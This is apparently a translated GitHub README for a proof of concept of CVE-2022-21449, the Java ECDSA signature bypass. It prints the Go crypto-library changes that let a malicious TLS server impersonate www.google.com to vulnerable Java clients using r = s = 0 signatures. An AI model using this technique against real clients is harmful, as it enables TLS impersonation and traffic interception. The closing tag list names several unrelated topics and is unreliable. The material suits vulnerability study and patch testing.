notkmhn/CVE-2022-21449-TLS-PoC
GitHub: notkmhn/CVE-2022-21449-TLS-PoC
一个用于演示 CVE-2022-21449 ECDSA 签名验证绕过漏洞的概念验证工具,通过修改 Go 加密库实现恶意 TLS 服务器来测试 Java 客户端的漏洞存在性。
Stars: 123 | Forks: 26
# CVE-2022-21449-TLS-PoC
CVE-2022-21449([在 Neil Madden 的漏洞分析文章中也被称为 Psychic Signatures](https://neilmadden.blog/2022/04/19/psychic-signatures-in-java/))概念验证,演示了其在易受攻击客户端和恶意 TLS 服务器中的用法。
恶意服务器提供了一个(截至 2022-04-20)有效的 www.google.com 证书链,该证书链具有 ECDSA 公钥 (secp256r1)。然而,`crypto/ecdsa` 包已被修改为呈现 `r = s = 0` 的无效签名。易受攻击的客户端接受此无效签名,从而允许 TLS 握手的其余部分继续进行。
除了在构建和探索过程中删除的 `*_test.go` 文件外,[对 golang 加密库的这些修改](#modifications-to-the-golang-crypto-library)对于恶意 TLS 服务器是必要的。也可以通过在 `go/src` 目录中搜索/使用 grep 查找 `CVE-2022-21449` 来找到它们。
# 构建
需要现有的 golang 安装环境以及 maven,然后运行 `./build.sh`。
在 Ubuntu 20.04.4 LTS (WSL2) 上测试,使用 OpenJDK 16.0.1 (build 16.0.1+9-Ubuntu-120.04, 2021-04-20)
# 演示
https://user-images.githubusercontent.com/7225227/164332612-832b046b-cd2e-46e8-b3d6-1da36e290992.mp4
# 对 golang 加密库的修改
在 `crypto/ecdsa/ecdsa.go` 中,函数 `signGeneric` 本质上被修改为:
```
func signGeneric(priv *PrivateKey, csprng *cipher.StreamReader, c elliptic.Curve, hash []byte) (r, s *big.Int, err error) {
// SEC 1, Version 2.0, Section 4.1.3
// CVE-2022-21449 - Modified and removed all calculations. Return r = s = 0
r = new(big.Int)
s = new(big.Int)
return
}
```
而在 `crypto/tls/tls.go` 中,函数 `X509KeyPair` 已被更改,以禁用针对 ECDSA 公钥的、用于验证给定私钥是否与 X.509 证书公钥匹配的检查:
```
// X509KeyPair parses a public/private key pair from a pair of
// PEM encoded data. On successful return, Certificate.Leaf will be nil because
// the parsed form of the certificate is not retained.
func X509KeyPair(certPEMBlock, keyPEMBlock []byte) (Certificate, error) {
fail := func(err error) (Certificate, error) { return Certificate{}, err }
...
switch pub := x509Cert.PublicKey.(type) {
...
case *ecdsa.PublicKey:
// CVE-2022-21449: Modified checks away
_, ok := cert.PrivateKey.(*ecdsa.PrivateKey)
if !ok {
return fail(errors.New("tls: private key type does not match public key type"))
}
/*if pub.X.Cmp(priv.X) != 0 || pub.Y.Cmp(priv.Y) != 0 {
return fail(errors.New("tls: private key does not match public key"))
}*/
...
}
```
# 致谢
- [Neil Madden](https://neilmadden.blog):发现并披露了 CVE-2022-21449,[正如其精彩的文章中所详述](https://neilmadden.blog/2022/04/19/psychic-signatures-in-java/)。
- [Khaled Nassar](https://x.com/notkmhn):本 PoC。
标签:CVE-2022-21449, ECDSA 签名绕过, EVTX分析, Java 15, Java 16, Java 17, Java 安全漏洞, JS文件枚举, Maven, OpenJDK, PoC, Psychic Signatures, TLS 握手, TLS 漏洞, 中间人攻击, 密码学, 底层编程, 手动系统调用, 日志审计, 暴力破解, 漏洞验证, 网络安全, 身份认证绕过, 隐私保护